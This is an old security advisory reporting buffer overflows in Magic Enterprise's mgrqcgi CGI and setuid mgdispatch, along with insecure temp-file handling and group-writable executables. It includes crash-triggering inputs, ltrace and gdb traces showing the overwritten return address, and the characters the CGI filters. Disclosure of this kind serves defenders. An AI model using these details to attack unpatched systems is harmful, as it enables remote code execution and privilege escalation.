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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Magic Enterprise Multiple Vulnerabilities 20 Dec. 2001    Summary The Magic Enterprise Edition Version 8 is a multi-platform, flexible application that supports well-known web browsers, web servers, application servers, and databases. Magic v8 gives the developer the ability to create portable and scalable client-/server-based or web-based applications. Magic is used by important eCommerce sites, payment systems, banks, big automobile companies and even on government servers. Several security vulnerabilities in Magic range from buffer overflow to temporary file and permission mishandling.   Credit: The information has been provided by Stephan Holtwisch. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable systems: Magic version 8.30-5 and prior Magic version 9.x (All platforms, including but limited to: Solaris, Linux, AIX, HP/UX, SCO, Digital Unix, AS/400, NT) Several security holes in Magic Enterprise Edition Version 8 (Solaris) were discovered by Immutec while doing a penetration test for a customer. In depth, the analysis was done for the Linux version. Version 9 was not fully tested, but at least some issues were also verified for Version 9. memory corruption: (remote) The CGI executable 'mgrqcgi' is used as a kind of gateway to handle different tasks. mgrqcgi reads different variables from the QUERY_STRING environment variable, which is set by the HTTP server. The names of the variables:  + APPNAME  + PRGNAME  + ARGUMENTS  + PageID  + mgaction  + H_ShopID  + H_SID  + H_WID  + H_INF  + and much more The variable data is copied into local variables using the non-bound checking library function strcpy(3). This can be easily verified by triggering the overflow using a standard web browser. Overwriting the memory for APPNAME byte wise results in overwriting PRGNAME input until an internal server error occurs. Attached ltrace output (comments included in []): [...] 17:00:03.769509 [08049794] getenv("REQUEST_METHOD") = "GET" 17:00:03.769680 [080497ae] strcmp("GET", "POST") = -9 17:00:03.769817 [080497ce] strcmp("GET", "GET") = 0 [QUERY_STRING read and splitted up] 17:00:03.769942 [08049915] getenv("QUERY_STRING") =     "APPNAME=test&PRGNAME= AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA" 17:00:03.770687 [08049b81] strchr("APPNAME=test&PRGNAME= AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA" ,'=') = "=test&PRGNAME=AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA" 17:00:03.772443 [08049bb7] strchr("test&PRGNAME=AAAAA AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA", '&') = "&PRGNAME=AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAA" 17:00:03.773713 [08049df3] malloc(8) = 0x08077458 17:00:03.773811 [08049d30] realloc(NULL, 8) = 0x08077468 17:00:03.773929 [08049df3] malloc(6) = 0x08077478 [variable name separated from variable data] 17:00:03.774025 [08049b81] strchr("PRGNAME=AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAA", '=') = "=AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 17:00:03.776353 [08049bb7] strchr("AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA A", '&') = NULL 17:00:03.777015 [08049bf0] strlen(0xbffffa2a, 0x080498f8, 0x40014ce4, 0x08077458, 0x080613d8) = 200 17:00:03.777157 [08049df3] malloc(8) = 0x08077488 17:00:03.777253 [08049d30] realloc(0x08077468, 16) = 0x08077498 17:00:03.777974 [08049df3] malloc(202) = 0x080774b0 17:00:03.778077 [0804acdf] malloc(32) = 0x08077580 17:00:03.778191 [0804acf4] memset(0x08077580, '\000', 32) = 0x08077580 [variable name made upper case] 17:00:03.778302 [0804dcec] toupper('A') = 'A' 17:00:03.778413 [0804dcfd] toupper('C') = 'C' 17:00:03.778521 [0804dd1c] toupper('A') = 'A' 17:00:03.778785 [0804dd2d] toupper('C') = 'C' 17:00:03.778892 [0804dcec] toupper('A') = 'A' 17:00:03.778999 [0804dcfd] toupper('A') = 'A' 17:00:03.779107 [0804dcec] toupper('P') = 'P' 17:00:03.779213 [0804dcfd] toupper('P') = 'P' 17:00:03.779320 [0804dcec] toupper('P') = 'P' 17:00:03.779427 [0804dcfd] toupper('P') = 'P' 17:00:03.779534 [0804dcec] toupper('N') = 'N' 17:00:03.779641 [0804dcfd] toupper('N') = 'N' 17:00:03.779748 [0804dcec] toupper('A') = 'A' 17:00:03.779854 [0804dcfd] toupper('A') = 'A' 17:00:03.779962 [0804dcec] toupper('M') = 'M' 17:00:03.780068 [0804dcfd] toupper('M') = 'M' 17:00:03.780175 [0804dcec] toupper('E') = 'E' 17:00:03.780300 [0804dcfd] toupper('E') = 'E' 17:00:03.780408 [0804dd1c] toupper('\000') = '\000' 17:00:03.780517 [0804dd2d] toupper('\000') = '\000' [APPNAME content copied into stack memory WITHOUT length checking] 17:00:03.780626 [0804ae56] strcpy(0xbfffee68, "test") = 0xbfffee68 [variable name to upper case] 17:00:03.835647 [0804dcec] toupper('P') = 'P' 17:00:03.835828 [0804dcfd] toupper('C') = 'C' 17:00:03.835936 [0804dd1c] toupper('P') = 'P' 17:00:03.836043 [0804dd2d] toupper('C') = 'C' 17:00:03.836150 [0804dcec] toupper('P') = 'P' 17:00:03.836257 [0804dcfd] toupper('P') = 'P' 17:00:03.836364 [0804dcec] toupper('R') = 'R' 17:00:03.836471 [0804dcfd] toupper('R') = 'R' 17:00:03.836577 [0804dcec] toupper('G') = 'G' 17:00:03.836684 [0804dcfd] toupper('G') = 'G' 17:00:03.837645 [0804dcec] toupper('N') = 'N' 17:00:03.837766 [0804dcfd] toupper('N') = 'N' 17:00:03.837873 [0804dcec] toupper('A') = 'A' 17:00:03.837980 [0804dcfd] toupper('A') = 'A' 17:00:03.838103 [0804dcec] toupper('M') = 'M' 17:00:03.838210 [0804dcfd] toupper('M') = 'M' 17:00:03.838317 [0804dcec] toupper('E') = 'E' 17:00:03.838423 [0804dcfd] toupper('E') = 'E' 17:00:03.838530 [0804dd1c] toupper('\000') = '\000' 17:00:03.838639 [0804dd2d] toupper('\000') = '\000' [PRGNAME content copied into stack memory WITHOUT length checking] [BUFFER OVERFLOW triggered here] 17:00:03.838748 [0804ae70] strcpy(0xbfffee48,"AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA AAAAAAAAA") = 0xbfffee48 [segmentation fault occurring] 17:00:03.839409 [080497f5] getenv("HTTP_COOKIE") = NULL 17:00:03.839545 [08049ac0] getenv("REMOTE_ADDR") = NULL 17:00:03.839687 [0805aff4] memset(0x08076e68, '\000', 120) = 0x08076e68 17:00:03.839801 [08053971] strcpy(0x08077334, "otaku") = 0x08077334 17:00:03.839920 [0804cdb7] malloc(1508) = 0x080775a8 17:00:03.840018 [0804cad0] memcpy(0x080775b0, "\001\001", 1500) = 0x080775b0 17:00:03.840160 [08052f00] strlen(0xbfffedc8, 0x08049ab4, 0xbfffee00, 0xbfffedc8, 0x080775b0) = 0 17:00:03.840308 [08052f5b] strlen(0xbfffed48, 0x08049ab4, 0xbfffee00, 0xbfffed48, 0x080775b0) = 0 17:00:03.840440 [080519d5] memcpy(0x08076e60, "\001\001", 1500) = 0x08076e60 17:00:03.840577 [0804cef0] free(0x080775a8) = <void> 17:00:03.840672 [0804b52c] memset(0xbfffeef8, '\000', 16) = 0xbfffeef8 17:00:03.840782 [0804b54c] malloc(200) = 0x080775a8 17:00:03.841364 [0804afe6] --- SIGSEGV (Segmentation fault) --- 17:00:03.841890 [ffffffff] +++ killed by SIGSEGV +++ The GNU Debugger output: [...] Starting program: /usr/local/httpd/cgi-bin/mgrqcgi (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x0804b103 in strcpy () (gdb) info stack #0 0x0804b103 in strcpy () #1 0x41414141 in ?? () #2 0x0804a440 in strcpy () #3 0x08049b18 in strcpy () #4 0x41414141 in ?? () [...] Some characters cannot be used for overflowing the internal buffers, because they have other meanings in the CGI context or are filtered. Characters that cannot be used: 0x00, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x20, 0x23, 0x25, 0x26 memory corruption: (local) The Linux RPM comes with one setuid root application:  + /usr/magicadm/servers/mgdispatch There seem to be several buffer overflows in the code of mgdispatch. One example of missing bounds checking occurs very early in the program code while reading an environment variable called MGDISPATCH_LOG. The destination buffer is about 3000 bytes big, so an attacker has enough space for stuffing the shellcode in and executes arbitrary commands. ltrace output: [...] getenv("MGDISPATCH_LOG") = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... strcpy(0xbfffd87c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0xbfffd87c getenv("MG_DOS_CLIENTS" <unfinished ...> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ The GNU Debugger output:: [...] (gdb) r 78 Starting program: ./mgdispatch 78 (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x4008d63b in getenv () from /lib/libc.so.6 (gdb) bt #0 0x4008d63b in getenv () from /lib/libc.so.6 #1 0x0804dec8 in strcpy () #2 0x41414141 in ?? () [...] Temporary file handling: Some shell script files included in the Linux RPM (probably applies to other versions as well) do insecure temporary file handling, allowing symlink attacks, replacing information and execution of commands. This list includes shell script names and the appropriate lines:  + /usr/magicadm/api/mkuserproc:40:tmpfile=/tmp/mg.$$  + /usr/magicadm/sbin/mgrnt:42:$AWK -F= '/^[^#]/ {if (NF > 0) print "export " $1}' $MAGIC_HOME/etc/mgenv > /tmp/mg$$  + /usr/magicadm/sbin/mgrnt:43:. /tmp/mg$$  + /usr/magicadm/sbin/mgrnt:44:rm -f /tmp/mg$$  + /usr/magicadm/sbin/mgrnt:63:$AWK -F= '/^[^#]/ {if (NF > 0) print "export " $1}' $EnvUserFile > /tmp/mgu$$  + /usr/magicadm/sbin/mgrnt:64:. /tmp/mgu$$  + /usr/magicadm/sbin/mgrnt:65:rm /tmp/mgu$$  + /usr/magicadm/servers/mgdatasrvr.sc:51:$AWK -F= '/^[^#]/ {if (NF > 0) print "export " $1}' $MAGIC_HOME/etc/mgenv > /tmp/mg$$  + /usr/magicadm/servers/mgdatasrvr.sc:52:. /tmp/mg$$  + /usr/magicadm/servers/mgdatasrvr.sc:53:rm -f /tmp/mg$$  + /usr/magicadm/servers/mgdatasrvr.sc:75:$AWK -F= '/^[^#]/ {if (NF > 0) print "export " $1}' $EnvUserFile > /tmp/mgu$$  + /usr/magicadm/servers/mgdatasrvr.sc:76:. /tmp/mgu$$  + /usr/magicadm/servers/mgdatasrvr.sc:77:rm /tmp/mgu$$ Insecure permissions: The RPM file installs some files and directories group 'users' writeable. This includes the Magic Admin home directory /usr/magicadm (a magicadm account is created in /etc/passwd), the license directory, and various executables. The list of group writeable executables:  + /usr/magicadm/bin/magicrnt  + /usr/magicadm/bin/mdinformix  + /usr/magicadm/bin/mdmssql  + /usr/magicadm/bin/mdoracle  + /usr/magicadm/bin/mgcircvr  + /usr/magicadm/bin/mgcisam  + /usr/magicadm/bin/mginformix  + /usr/magicadm/bin/mgmemory  + /usr/magicadm/bin/mgoracle  + /usr/magicadm/bin/mgtcp  + /usr/magicadm/broker/mgrqcmdl  + /usr/magicadm/broker/mgrqmrb  + /usr/magicadm/cgibin/mgrqcgi  + /usr/magicadm/servers/mgdatasrvr This allows an attacker to replace these writeable executables to gain higher privileges and even any other file to exploit trusted information. Miscellaneous: The symbols that are exported by the executables and by the Magic-Request API library reveal, that there are even more insecure C-library functions like system(3), strcpy(3), strcat(3) and sprintf(3) and alike. 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